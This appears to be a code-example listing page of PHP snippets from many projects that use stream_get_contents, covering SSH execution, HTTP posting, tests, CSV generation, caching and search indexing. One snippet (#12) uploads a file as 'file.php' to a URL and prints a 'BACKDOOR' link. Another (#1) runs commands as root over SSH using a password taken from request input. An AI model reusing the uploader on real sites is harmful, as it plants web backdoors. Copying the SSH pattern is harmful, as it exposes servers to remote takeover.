コード例 #1
5
ファイル: functions.php プロジェクト: shadowhome/synxb
function sshiconn($cmd, $pass, $ip, $sshp = 22)
{
    $ip = $_REQUEST['ip'];
    $pass = $_REQUEST['pass'];
    $sshp = $_REQUEST['sshp'];
    if (!isset($_REQUEST['sshp'])) {
        $sshp = '22';
    }
    $connection = ssh2_connect($ip, $sshp);
    if (!$connection) {
        throw new Exception("fail: unable to establish connection\nPlease IP or if server is on and connected");
    }
    $pass_success = ssh2_auth_password($connection, 'root', $pass);
    if (!$pass_success) {
        throw new Exception("fail: unable to establish connection\nPlease Check your password");
    }
    $stream = ssh2_exec($connection, $cmd);
    $errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);
    stream_set_blocking($errorStream, true);
    stream_set_blocking($stream, true);
    print_r($cmd);
    $output = stream_get_contents($stream);
    fclose($stream);
    fclose($errorStream);
    ssh2_exec($connection, 'exit');
    unset($connection);
    return $output;
}
コード例 #2
1
ファイル: Svn.php プロジェクト: jubinpatel/horde
 /**
  * Constructor.
  *
  * @param Horde_Vcs_Base $rep  A repository object.
  * @param string $dn           Path to the directory.
  * @param array $opts          Any additional options:
  *
  * @throws Horde_Vcs_Exception
  */
 public function __construct(Horde_Vcs_Base $rep, $dn, $opts = array())
 {
     parent::__construct($rep, $dn, $opts);
     $cmd = $rep->getCommand() . ' ls ' . escapeshellarg($rep->sourceroot . $this->_dirName);
     $dir = proc_open($cmd, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $pipes);
     if (!$dir) {
         throw new Horde_Vcs_Exception('Failed to execute svn ls: ' . $cmd);
     }
     if ($error = stream_get_contents($pipes[2])) {
         proc_close($dir);
         throw new Horde_Vcs_Exception($error);
     }
     /* Create two arrays - one of all the files, and the other of all the
      * dirs. */
     $errors = array();
     while (!feof($pipes[1])) {
         $line = chop(fgets($pipes[1], 1024));
         if (!strlen($line)) {
             continue;
         }
         if (substr($line, 0, 4) == 'svn:') {
             $errors[] = $line;
         } elseif (substr($line, -1) == '/') {
             $this->_dirs[] = substr($line, 0, -1);
         } else {
             $this->_files[] = $rep->getFile($this->_dirName . '/' . $line);
         }
     }
     proc_close($dir);
 }
コード例 #3
1
function sync_object($object_type, $object_name)
{
    # Should only provide error information on stderr: put stdout to syslog
    $cmd = "geni-sync-wireless {$object_type} {$object_name}";
    error_log("SYNC(cmd) " . $cmd);
    $descriptors = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
    $process = proc_open($cmd, $descriptors, $pipes);
    $std_output = stream_get_contents($pipes[1]);
    # Should be empty
    $err_output = stream_get_contents($pipes[2]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $proc_value = proc_close($process);
    $full_output = $std_output . $err_output;
    foreach (split("\n", $full_output) as $line) {
        if (strlen(trim($line)) == 0) {
            continue;
        }
        error_log("SYNC(output) " . $line);
    }
    if ($proc_value != RESPONSE_ERROR::NONE) {
        error_log("WIRELESS SYNC error: {$proc_value}");
    }
    return $proc_value;
}
コード例 #4
1
function do_post_request($url, $postdata, $files = NULL)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    if (is_array($postdata)) {
        foreach ($postdata as $key => $val) {
            $data .= "--" . $boundary . "\n";
            $data .= "Content-Disposition: form-data; name=" . $key . "\n\n" . $val . "\n";
        }
    }
    $data .= "--" . $boundary . "\n";
    if (is_array($files)) {
        foreach ($files as $key => $file) {
            $fileContents = file_get_contents($file['tmp_name']);
            $data .= "Content-Disposition: form-data; name=" . $key . "; filename=" . $file['name'] . "\n";
            $data .= "Content-Type: application/x-bittorrent\n";
            $data .= "Content-Transfer-Encoding: binary\n\n";
            $data .= $fileContents . "\n";
            $data .= "--" . $boundary . "--\n";
        }
    }
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = @fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Problem with " . $url . ", " . $php_errormsg);
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Problem reading data from " . $url . ", " . $php_errormsg);
    }
    return $response;
}
コード例 #5
0
 /**
  * Get value for a named parameter.
  *
  * @param mixed $parameter Parameter to get a value for
  * @param array $argv Argument values passed to the script when run in console.
  * @return mixed
  */
 public function getValueForParameter($parameter, $argv = array())
 {
     // Default value
     $parameterValue = null;
     // Check STDIN for data
     if (ftell(STDIN) !== false) {
         // Read from STDIN
         $fs = fopen("php://stdin", "r");
         if ($fs !== false) {
             /*
             				while (!feof($fs)) {
             					$data = fread($fs, 1);
             					var_dump($data);
             					$parameterValue .= $data;
             				} */
             $parameterValue = stream_get_contents($fs);
             fclose($fs);
         }
         // Remove ending \r\n
         $parameterValue = rtrim($parameterValue);
         if (strtolower($parameterValue) == 'true') {
             $parameterValue = true;
         } else {
             if (strtolower($parameterValue) == 'false') {
                 $parameterValue = false;
             }
         }
     }
     // Done!
     return $parameterValue;
 }
コード例 #6
0
 public function __call($method, $arguments)
 {
     $dom = new DOMDocument('1.0', 'UTF-8');
     $element = $dom->createElement('method');
     $element->setAttribute('name', $method);
     foreach ($arguments as $argument) {
         $child = $dom->createElement('argument');
         $textNode = $dom->createTextNode($argument);
         $child->appendChild($textNode);
         $element->appendChild($child);
     }
     $dom->appendChild($element);
     $data = 'service=' . $dom->saveXML();
     $params = array('http' => array('method' => 'POST', 'content' => $data));
     $ctx = stream_context_create($params);
     $fp = @fopen($this->server, 'rb', false, $ctx);
     if (!$fp) {
         throw new Exception('Problem with URL');
     }
     $response = @stream_get_contents($fp);
     if ($response === false) {
         throw new Exception("Problem reading data from {$this->server}");
     }
     $dom = new DOMDocument(null, 'UTF-8');
     $dom->loadXML($response);
     $result = $dom->childNodes->item(0)->childNodes->item(0)->nodeValue;
     $type = $dom->childNodes->item(0)->childNodes->item(1)->nodeValue;
     settype($result, $type);
     return $result;
 }
コード例 #7
0
    function testLogger()
    {
        $mem = fopen('php://memory', 'rb+');
        $e = array('type' => E_USER_ERROR, 'message' => 'Fake user error', 'file' => 'fake', 'line' => 1, 'scope' => new \Patchwork\PHP\recoverableErrorException(), 'trace' => array(array('function' => 'fake-func2'), array('function' => 'fake-func1')));
        $l = new Logger($mem, 1);
        $l->loggedGlobals = array();
        $l->logError($e, 1, 0, 2);
        fseek($mem, 0);
        $l = stream_get_contents($mem);
        fclose($mem);
        $this->assertStringMatchesFormat('*** php-error ***
{"_":"1:array:3",
  "time": "1970-01-01T01:00:02+01:00 000000us - 1000.000ms - 1000.000ms",
  "mem": "%d - %d",
  "data": {"_":"4:array:4",
    "mesg": "Fake user error",
    "type": "E_USER_ERROR fake:1",
    "scope": {"_":"7:Patchwork\\\\PHP\\\\RecoverableErrorException",
      "*:message": "",
      "*:code": 0,
      "*:file": "' . __FILE__ . '",
      "*:line": 18,
      "*:severity": "E_ERROR"
    },
    "trace": {"_":"13:array:1",
      "0": {"_":"14:array:1",
        "call": "fake-func1()"
      }
    }
  }
}
***
', $l);
    }
コード例 #8
0
ファイル: SimpleGenerator.php プロジェクト: mjaschen/collmex
 /**
  * Generates a CSV string from given array data
  *
  * @param array $data
  *
  * @throws \RuntimeException
  *
  * @return string
  */
 public function generate(array $data)
 {
     $fileHandle = fopen('php://temp', 'w');
     if (!$fileHandle) {
         throw new \RuntimeException("Cannot open temp file handle (php://temp)");
     }
     if (!is_array($data[0])) {
         $data = [$data];
     }
     $tmpPlaceholder = 'MJASCHEN_COLLMEX_WORKAROUND_PHP_BUG_43225_' . time();
     foreach ($data as $line) {
         // workaround for PHP bug 43225: temporarily insert a placeholder
         // between a backslash directly followed by a double-quote (for
         // string field values only)
         array_walk($line, function (&$item) use($tmpPlaceholder) {
             if (!is_string($item)) {
                 return;
             }
             $item = preg_replace('/(\\\\+)"/m', '$1' . $tmpPlaceholder . '"', $item);
         });
         fputcsv($fileHandle, $line, $this->delimiter, $this->enclosure);
     }
     rewind($fileHandle);
     $csv = stream_get_contents($fileHandle);
     fclose($fileHandle);
     // remove the temporary placeholder from the final CSV string
     $csv = str_replace($tmpPlaceholder, '', $csv);
     return $csv;
 }
コード例 #9
0
 /**
  * {@inheritdoc}
  */
 protected function execute(InputInterface $input, OutputInterface $output)
 {
     $io = new DrupalStyle($input, $output);
     $configName = $input->getArgument('name');
     $fileName = $input->getArgument('file');
     $config = $this->getDrupalService('config.factory')->getEditable($configName);
     $ymlFile = new Parser();
     if (!empty($fileName) && file_exists($fileName)) {
         $value = $ymlFile->parse(file_get_contents($fileName));
     } else {
         $value = $ymlFile->parse(stream_get_contents(fopen("php://stdin", "r")));
     }
     if (empty($value)) {
         $io->error($this->trans('commands.config.import.single.messages.empty-value'));
         return;
     }
     $config->setData($value);
     try {
         $config->save();
     } catch (\Exception $e) {
         $io->error($e->getMessage());
         return 1;
     }
     $io->success(sprintf($this->trans('commands.config.import.single.messages.success'), $configName));
 }
コード例 #10
0
ファイル: WindHttpStream.php プロジェクト: fanqimeng/4tweb
 public function response()
 {
     var_dump(stream_get_meta_data($this->httpHandler));
     var_dump(stream_get_contents($this->httpHandler));
     /* 	$response = '';
     		$_start = $_header = true;
     		while (!feof($this->httpHandler)) {
     			$line = fgets($this->httpHandler);
     			if ($_start) {
     				$_start = false;
     				if (!preg_match('/HTTP\/(\\d\\.\\d)\\s*(\\d+)\\s*(.*)/', $line, $matchs)) {
     					$this->err = "Status code line invalid: " . htmlentities($line);
     					return false;
     				}
     				$this->status = $matchs[2];
     			}
     			if ($_header) {
     				if (trim($line) == '') {
     					if (!$this->_body) break;
     					$_header = false;
     				}
     				if (!$this->_header) continue;
     			}
     			$response .= $line;
     		}
     		return $response; */
     $response = '';
     while (!feof($this->httpHandler)) {
         $line = fgets($this->httpHandler);
         $response .= $line;
     }
     return $response;
 }
コード例 #11
0
 public function RawAction()
 {
     $dataUriRegex = "/data:image\\/([\\w]*);([\\w]*),/i";
     //running a regex against a data uri might be slow.
     //Streams R fun.
     //  To avoid lots of processing before needed, copy just the first bit of the incoming data stream to a variable for checking.  rewind the stream after.  Part of the data will be MD5'd for storage.
     // note for
     $body = $this->detectRequestBody();
     $tempStream = fopen('php://temp', 'r+');
     stream_copy_to_stream($body, $tempStream, 500);
     rewind($tempStream);
     $uriHead = stream_get_contents($tempStream);
     $netid = isset($_SERVER['NETID']) ? $_SERVER['NETID'] : "notSet";
     $filename = $netid;
     $matches = array();
     // preg_match_all returns number of matches.
     if (0 < preg_match_all($dataUriRegex, $uriHead, $matches)) {
         $extension = $matches[1][0];
         $encoding = $matches[2][0];
         $start = 1 + strpos($uriHead, ",");
         $imageData = substr($uriHead, $start);
         // THERES NO ARRAY TO STRING CAST HERE PHP STFU
         $filename = (string) ("./cache/" . $filename . "-" . md5($imageData) . "." . $extension);
         $fileHandle = fopen($filename, "c");
         stream_filter_append($fileHandle, 'convert.base64-decode', STREAM_FILTER_WRITE);
         stream_copy_to_stream($body, $fileHandle, -1, $start);
     }
 }
コード例 #12
0
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    $data .= "--{$boundary}\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents . "\n";
    $data .= "--{$boundary}--\n";
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Erreur !");
    } else {
        echo "file should be here : ";
        /* LETTERBOX */
        if (count($response) > 1) {
            echo $response;
        } else {
            echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
        }
    }
}
コード例 #13
0
 /**
  * @dataProvider complianceProvider
  */
 public function testPassesCompliance($data, $expression, $result, $error, $file, $suite, $case, $compiled, $asAssoc)
 {
     $failed = $evalResult = $failureMsg = false;
     $debug = fopen('php://temp', 'r+');
     $compiledStr = '';
     try {
         if ($compiled) {
             $compiledStr = \JmesPath\Env::COMPILE_DIR . '=on ';
             $fn = self::$defaultRuntime;
             $evalResult = $fn($expression, $data, $debug);
         } else {
             $fn = self::$compilerRuntime;
             $evalResult = $fn($expression, $data, $debug);
         }
     } catch (\Exception $e) {
         $failed = $e instanceof SyntaxErrorException ? 'syntax' : 'runtime';
         $failureMsg = sprintf('%s (%s line %d)', $e->getMessage(), $e->getFile(), $e->getLine());
     }
     rewind($debug);
     $file = __DIR__ . '/compliance/' . $file . '.json';
     $failure = "\n{$compiledStr}php bin/jp.php --file {$file} --suite {$suite} --case {$case}\n\n" . stream_get_contents($debug) . "\n\n" . "Expected: " . $this->prettyJson($result) . "\n\n";
     $failure .= 'Associative? ' . var_export($asAssoc, true) . "\n\n";
     if (!$error && $failed) {
         $this->fail("Should not have failed\n{$failure}=> {$failed} {$failureMsg}");
     } elseif ($error && !$failed) {
         $this->fail("Should have failed\n{$failure}");
     }
     $result = $this->convertAssoc($result);
     $evalResult = $this->convertAssoc($evalResult);
     $this->assertEquals($result, $evalResult, $failure);
 }
コード例 #14
0
ファイル: ContextTest.php プロジェクト: nilamdoc/KYCGlobal
    public function setUp()
    {
        $base = 'lithium\\net\\socket';
        $namespace = __NAMESPACE__;
        Mocker::overwriteFunction("{$namespace}\\stream_context_get_options", function ($resource) {
            rewind($resource);
            return unserialize(stream_get_contents($resource));
        });
        Mocker::overwriteFunction("{$base}\\stream_context_create", function ($options) {
            return $options;
        });
        Mocker::overwriteFunction("{$base}\\fopen", function ($file, $mode, $includePath, $context) {
            $handle = fopen("php://memory", "rw");
            fputs($handle, serialize($context));
            return $handle;
        });
        Mocker::overwriteFunction("{$base}\\stream_get_meta_data", function ($resource) {
            return array('wrapper_data' => array('HTTP/1.1 301 Moved Permanently', 'Location: http://www.google.com/', 'Content-Type: text/html; charset=UTF-8', 'Date: Thu, 28 Feb 2013 07:05:10 GMT', 'Expires: Sat, 30 Mar 2013 07:05:10 GMT', 'Cache-Control: public, max-age=2592000', 'Server: gws', 'Content-Length: 219', 'X-XSS-Protection: 1; mode=block', 'X-Frame-Options: SAMEORIGIN', 'Connection: close'));
        });
        Mocker::overwriteFunction("{$base}\\stream_get_contents", function ($resource) {
            return <<<EOD
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>301 Moved</TITLE></HEAD><BODY>
<H1>301 Moved</H1>
The document has moved
<A HREF="http://www.google.com/">here</A>.
</BODY></HTML>
EOD;
        });
        Mocker::overwriteFunction("{$base}\\feof", function ($resource) {
            return true;
        });
    }
コード例 #15
0
ファイル: PartTest.php プロジェクト: nieldm/zf2
 public function testStreamEncoding()
 {
     $testfile = realpath(__FILE__);
     $original = file_get_contents($testfile);
     // Test Base64
     $fp = fopen($testfile, 'rb');
     $this->assertTrue(is_resource($fp));
     $part = new Mime\Part($fp);
     $part->encoding = Mime\Mime::ENCODING_BASE64;
     $fp2 = $part->getEncodedStream();
     $this->assertTrue(is_resource($fp2));
     $encoded = stream_get_contents($fp2);
     fclose($fp);
     $this->assertEquals(base64_decode($encoded), $original);
     // test QuotedPrintable
     $fp = fopen($testfile, 'rb');
     $this->assertTrue(is_resource($fp));
     $part = new Mime\Part($fp);
     $part->encoding = Mime\Mime::ENCODING_QUOTEDPRINTABLE;
     $fp2 = $part->getEncodedStream();
     $this->assertTrue(is_resource($fp2));
     $encoded = stream_get_contents($fp2);
     fclose($fp);
     $this->assertEquals(quoted_printable_decode($encoded), $original);
 }
コード例 #16
0
 public function onEnable()
 {
     if (!file_exists($this->getDataFolder())) {
         mkdir($this->getDataFolder());
     }
     $this->saveDefaultConfig();
     $provider = $this->getConfig()->get("data-provider");
     switch (strtolower($provider)) {
         case "yaml":
             $this->provider = new YamlDataProvider($this->getDataFolder() . "Shops.yml", $this->getConfig()->get("auto-save"));
             break;
         default:
             $this->getLogger()->critical("Invalid data provider was given. EconomyShop will be terminated.");
             return;
     }
     $this->getLogger()->notice("Data provider was set to: " . $this->provider->getProviderName());
     $levels = [];
     foreach ($this->provider->getAll() as $shop) {
         if ($shop[9] !== -2) {
             if (!isset($levels[$shop[3]])) {
                 $levels[$shop[3]] = $this->getServer()->getLevelByName($shop[3]);
             }
             $pos = new Position($shop[0], $shop[1], $shop[2], $levels[$shop[3]]);
             $display = $pos;
             if ($shop[9] !== -1) {
                 $display = $pos->getSide($shop[9]);
             }
             $this->items[$shop[3]][] = new ItemDisplayer($display, Item::get($shop[4], $shop[5]), $pos);
         }
     }
     $this->getServer()->getPluginManager()->registerEvents($this, $this);
     $this->lang = json_decode(stream_get_contents($rsc = $this->getResource("lang_en.json")), true);
     // TODO: Language preferences
     @fclose($rsc);
 }
コード例 #17
0
ファイル: movie.php プロジェクト: adolfo2103/hcloudfilem
 /**
  * {@inheritDoc}
  */
 public function getThumbnail($path, $maxX, $maxY, $scalingup, $fileview)
 {
     // TODO: use proc_open() and stream the source file ?
     $fileInfo = $fileview->getFileInfo($path);
     $useFileDirectly = !$fileInfo->isEncrypted() && !$fileInfo->isMounted();
     if ($useFileDirectly) {
         $absPath = $fileview->getLocalFile($path);
     } else {
         $absPath = \OC_Helper::tmpFile();
         $handle = $fileview->fopen($path, 'rb');
         // we better use 5MB (1024 * 1024 * 5 = 5242880) instead of 1MB.
         // in some cases 1MB was no enough to generate thumbnail
         $firstmb = stream_get_contents($handle, 5242880);
         file_put_contents($absPath, $firstmb);
     }
     $result = $this->generateThumbNail($maxX, $maxY, $absPath, 5);
     if ($result === false) {
         $result = $this->generateThumbNail($maxX, $maxY, $absPath, 1);
         if ($result === false) {
             $result = $this->generateThumbNail($maxX, $maxY, $absPath, 0);
         }
     }
     if (!$useFileDirectly) {
         unlink($absPath);
     }
     return $result;
 }
コード例 #18
0
 public function compress($source, $type)
 {
     $cmd = sprintf('java -jar %s --type %s --charset UTF-8 --line-break 1000', escapeshellarg($this->yuiPath), $type);
     $process = proc_open($cmd, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
     fwrite($pipes[0], $source);
     fclose($pipes[0]);
     $output = array("stdout" => "", "stderr" => "");
     $readSockets = array("stdout" => $pipes[1], "stderr" => $pipes[2]);
     $empty = array();
     while (false !== stream_select($readSockets, $empty, $empty, 1)) {
         foreach ($readSockets as $stream) {
             $output[$stream == $pipes[1] ? "stdout" : "stderr"] .= stream_get_contents($stream);
         }
         $readSockets = array("stdout" => $pipes[1], "stderr" => $pipes[2]);
         $eof = true;
         foreach ($readSockets as $stream) {
             $eof &= feof($stream);
         }
         if ($eof) {
             break;
         }
     }
     $compressed = $output['stdout'];
     $errors = $output['stderr'];
     $this->errors = "" !== $errors;
     if ($this->errors) {
         $compressed = "";
         $this->errors = sprintf("alert('compression errors, check your source and console for details'); console.error(%s); ", json_encode($errors));
     }
     proc_close($process);
     return $compressed;
 }
コード例 #19
0
ファイル: Main.php プロジェクト: kdani1/iProtector
 public function onEnable()
 {
     $this->getServer()->getPluginManager()->registerEvents($this, $this);
     if (!is_dir($this->getDataFolder())) {
         mkdir($this->getDataFolder());
     }
     if (!file_exists($this->getDataFolder() . "areas.json")) {
         file_put_contents($this->getDataFolder() . "areas.json", "[]");
     }
     if (!file_exists($this->getDataFolder() . "config.yml")) {
         $c = $this->getResource("config.yml");
         $o = stream_get_contents($c);
         fclose($c);
         file_put_contents($this->getDataFolder() . "config.yml", str_replace("DEFAULT", $this->getServer()->getDefaultLevel()->getName(), $o));
     }
     $this->areas = array();
     $data = json_decode(file_get_contents($this->getDataFolder() . "areas.json"), true);
     foreach ($data as $datum) {
         $area = new Area($datum["name"], $datum["flags"], $datum["pos1"], $datum["pos2"], $datum["level"], $datum["whitelist"], $this);
     }
     $c = yaml_parse(file_get_contents($this->getDataFolder() . "config.yml"));
     $this->god = $c["Default"]["God"];
     $this->edit = $c["Default"]["Edit"];
     $this->touch = $c["Default"]["Touch"];
     $this->levels = array();
     foreach ($c["Worlds"] as $level => $flags) {
         $this->levels[$level] = $flags;
     }
 }
コード例 #20
0
ファイル: Dump.php プロジェクト: hannesvdvreken/TwigBridge
 public function dump(\Twig_Environment $env, $context)
 {
     if (!$env->isDebug()) {
         return;
     }
     if (2 === func_num_args()) {
         $vars = array();
         foreach ($context as $key => $value) {
             if (!$value instanceof \Twig_Template) {
                 $vars[$key] = $value;
             }
         }
         $vars = array($vars);
     } else {
         $vars = func_get_args();
         unset($vars[0], $vars[1]);
     }
     $dump = fopen('php://memory', 'r+b');
     $dumper = new HtmlDumper($dump);
     foreach ($vars as $value) {
         $dumper->dump($this->cloner->cloneVar($value));
     }
     rewind($dump);
     return stream_get_contents($dump);
 }
コード例 #21
0
 public function processRequest($method = 'POST')
 {
     $params = http_build_query($this->urlParams);
     if (w2p_check_url($this->url)) {
         if (function_exists('curl_init')) {
             $ch = curl_init($this->url);
             curl_setopt($ch, CURLOPT_POST, 1);
             curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
             curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
             $response = curl_exec($ch);
             curl_close($ch);
         } else {
             /*
              * Thanks to Wez Furlong for the core of the logic for this 
              *   method to POST data via PHP without cURL
              *   http://netevil.org/blog/2006/nov/http-post-from-php-without-curl
              */
             $ctx = stream_context_create($params);
             $fp = @fopen($this->url, 'rb', false, $ctx);
             if (!$fp) {
                 throw new Exception("Problem with {$url}, {$php_errormsg}");
             }
             $response = @stream_get_contents($fp);
             if ($response === false) {
                 throw new Exception("Problem reading data from {$url}, {$php_errormsg}");
             }
         }
         return $response;
     } else {
         //throw an error?
     }
 }
コード例 #22
0
 /**
  * {@inheritdoc}
  */
 protected function doFetch(array $ids)
 {
     $values = array();
     $now = time();
     foreach ($ids as $id) {
         $file = $this->getFile($id);
         if (!($h = @fopen($file, 'rb'))) {
             continue;
         }
         if ($now >= (int) ($expiresAt = fgets($h))) {
             fclose($h);
             if (isset($expiresAt[0])) {
                 @unlink($file);
             }
         } else {
             $i = rawurldecode(rtrim(fgets($h)));
             $value = stream_get_contents($h);
             fclose($h);
             if ($i === $id) {
                 $values[$id] = unserialize($value);
             }
         }
     }
     return $values;
 }
コード例 #23
0
 private function prepareData($context)
 {
     $c = ++$this->local_storage['counter'];
     $m = memory_get_usage();
     $p = memory_get_peak_usage();
     if ($p > $this->local_storage['prev_memory_peak']) {
         $this->local_storage['prev_memory_peak'] = $p;
         $this->local_storage['memory_peak_counter'] = $c;
     }
     $buffer = '<pre>';
     $buffer .= 'Hello world! #' . $c . "\n";
     $buffer .= 'Memory usage: ' . $m . "\n";
     $buffer .= 'Peak Memory usage: ' . $p . "\n";
     $buffer .= 'Memory usage last grew at request#' . $this->local_storage['memory_peak_counter'] . "\n\n";
     $buffer .= "HEADERS:\n" . var_export($context['env'], true) . "\n";
     $buffer .= "COOKIES:\n" . var_export($context['_COOKIE']->__toArray(), true) . "\n";
     $buffer .= "GET:\n" . var_export($context['_GET'], true) . "\n";
     if ($context['env']['REQUEST_METHOD'] === 'POST') {
         $buffer .= "POST:\n" . var_export($context['_POST'], true) . "\n";
         $buffer .= "FILES:\n" . var_export($context['_FILES'], true) . "\n";
     } elseif (!in_array($context['env']['REQUEST_METHOD'], array('GET', 'HEAD'))) {
         $buffer .= "BODY:\n" . var_export(stream_get_contents($context['stdin']), true) . "\n";
     }
     $buffer .= '</pre>';
     return $buffer;
 }
コード例 #24
0
ファイル: Http.php プロジェクト: jimbojsb/modela
 public function request()
 {
     if ($this->_uri === null) {
         throw new Modela_Exception("uri is not valid");
     }
     $sock = @fsockopen($this->_uriParts["host"], $this->_uriParts["port"]);
     if (!$sock) {
         throw new Modela_Exception('unable to open socket');
     }
     $requestString = $this->_method . " " . $this->_uriParts["path"];
     if ($this->_uriParts["query"]) {
         $requestString .= "?" . $this->_uriParts["query"];
     }
     $socketData = $requestString . self::HTTP_CRLF;
     if ($this->_data) {
         $socketData .= "Content-length: " . strlen($this->_data) . self::HTTP_CRLF;
         $socketData .= "Content-type: application/json" . self::HTTP_CRLF;
         $socketData .= "Connection: close" . self::HTTP_CRLF;
         $socketData .= self::HTTP_CRLF;
         $socketData .= $this->_data . self::HTTP_CRLF;
     }
     $socketData .= self::HTTP_CRLF . self::HTTP_CRLF;
     fwrite($sock, $socketData);
     $output = '';
     $output .= stream_get_contents($sock);
     list($this->_headers, $this->_response) = explode("\r\n\r\n", $output);
     $this->_response = trim($this->_response);
     fclose($sock);
     return $this->_response;
 }
コード例 #25
0
function mc_format_csv($data)
{
    $keyed = false;
    // Create a stream opening it with read / write mode
    $stream = fopen('data://text/plain,' . "", 'w+');
    // Iterate over the data, writting each line to the text stream
    foreach ($data as $key => $val) {
        foreach ($val as $v) {
            $values = get_object_vars($v);
            if (!$keyed) {
                $keys = array_keys($values);
                fputcsv($stream, $keys);
                $keyed = true;
            }
            fputcsv($stream, $values);
        }
    }
    // Rewind the stream
    rewind($stream);
    // You can now echo it's content
    header("Content-type: text/csv");
    header("Content-Disposition: attachment; filename=my-calendar.csv");
    header("Pragma: no-cache");
    header("Expires: 0");
    echo stream_get_contents($stream);
    // Close the stream
    fclose($stream);
    die;
}
コード例 #26
0
function getMp3StreamTitle($steam_url)
{
    $result = false;
    $icy_metaint = -1;
    $needle = 'StreamTitle=';
    $ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.110 Safari/537.36';
    $opts = array('http' => array('method' => 'GET', 'header' => 'Icy-MetaData: 1', 'user_agent' => $ua));
    $default = stream_context_set_default($opts);
    $stream = fopen($steam_url, 'r');
    if ($stream && ($meta_data = stream_get_meta_data($stream)) && isset($meta_data['wrapper_data'])) {
        foreach ($meta_data['wrapper_data'] as $header) {
            if (strpos(strtolower($header), 'icy-metaint') !== false) {
                $tmp = explode(":", $header);
                $icy_metaint = trim($tmp[1]);
                break;
            }
        }
    }
    if ($icy_metaint != -1) {
        $buffer = stream_get_contents($stream, 300, $icy_metaint);
        if (strpos($buffer, $needle) !== false) {
            $title = explode($needle, $buffer);
            $title = trim($title[1]);
            $result = substr($title, 1, strpos($title, ';') - 2);
        }
    }
    if ($stream) {
        fclose($stream);
    }
    return $result;
}
コード例 #27
0
 /**
  * Update or insert a contact document
  *
  * @param Contact $contact
  *
  * <field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" />
  * <field name="contact_id" type="int" indexed="true" stored="true" omitNorms="true"/>
  * <field name="fullname" type="text_general" indexed="true" stored="true" omitNorms="true"/>
  * <field name="lastname" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="position" type="text_en_splitting" indexed="true" stored="true" omitNorms="true"/>
  * <field name="type" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="photo_url" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="organisation" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="organisation_type" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="country" type="string" indexed="true" stored="true" omitNorms="true"/>
  * <field name="profile" type="text_en_splitting" indexed="true" stored="true" omitNorms="true"/>
  * <field name="cv" type="text_en_splitting" indexed="true" stored="true" omitNorms="true"/>
  *
  * @return \Solarium\Core\Query\Result\ResultInterface
  * @throws \Solarium\Exception\HttpException
  */
 public function updateDocument($contact)
 {
     // Get an update query instance
     $update = $this->getSolrClient()->createUpdate();
     $contactDocument = $update->createDocument();
     $contactDocument->id = $contact->getResourceId();
     $contactDocument->contact_id = $contact->getId();
     $contactDocument->type = 'contact';
     $contactDocument->fullname = $contact->getDisplayName();
     $contactDocument->lastname = $contact->getLastName();
     $contactDocument->position = $contact->getPosition();
     if (!is_null($contact->getProfile())) {
         $contactDocument->profile = str_replace(PHP_EOL, '', strip_tags($contact->getProfile()->getDescription()));
         if ($contact->getProfile()->getHidePhoto() === Profile::NOT_HIDE_PHOTO && $contact->getPhoto()->count() > 0) {
             $photo = $contact->getPhoto()->first();
             $contactDocument->photo_url = $this->getServiceLocator()->get('ViewHelperManager')->get('url')->__invoke('assets/contact-photo', ['hash' => $photo->getHash(), 'ext' => $photo->getContentType()->getExtension(), 'id' => $photo->getId()]);
         }
     }
     if (!is_null($contact->getContactOrganisation())) {
         $contactDocument->organisation = $contact->getContactOrganisation()->getOrganisation()->getOrganisation();
         $contactDocument->organisation_type = $contact->getContactOrganisation()->getOrganisation()->getType();
         $contactDocument->country = $contact->getContactOrganisation()->getOrganisation()->getCountry()->getCountry();
     }
     if (!is_null($contact->getCv())) {
         $contactDocument->cv = str_replace(PHP_EOL, '', strip_tags(stream_get_contents($contact->getCv()->getCv())));
     }
     $update->addDocument($contactDocument);
     $update->addCommit();
     return $this->executeUpdateDocument($update);
 }
コード例 #28
0
 /**
  * Test that the daemon is correctly handling requests and PSR-7 and
  * HttpFoundation responses with large param records and message bodies.
  */
 public function testHandler()
 {
     $testData = $this->createTestData();
     // Create test environment
     $callbackGenerator = function ($response) use($testData) {
         return function (RequestInterface $request) use($response, $testData) {
             $this->assertEquals($testData['requestParams'], $request->getParams());
             $this->assertEquals($testData['requestBody'], stream_get_contents($request->getStdin()));
             return $response;
         };
     };
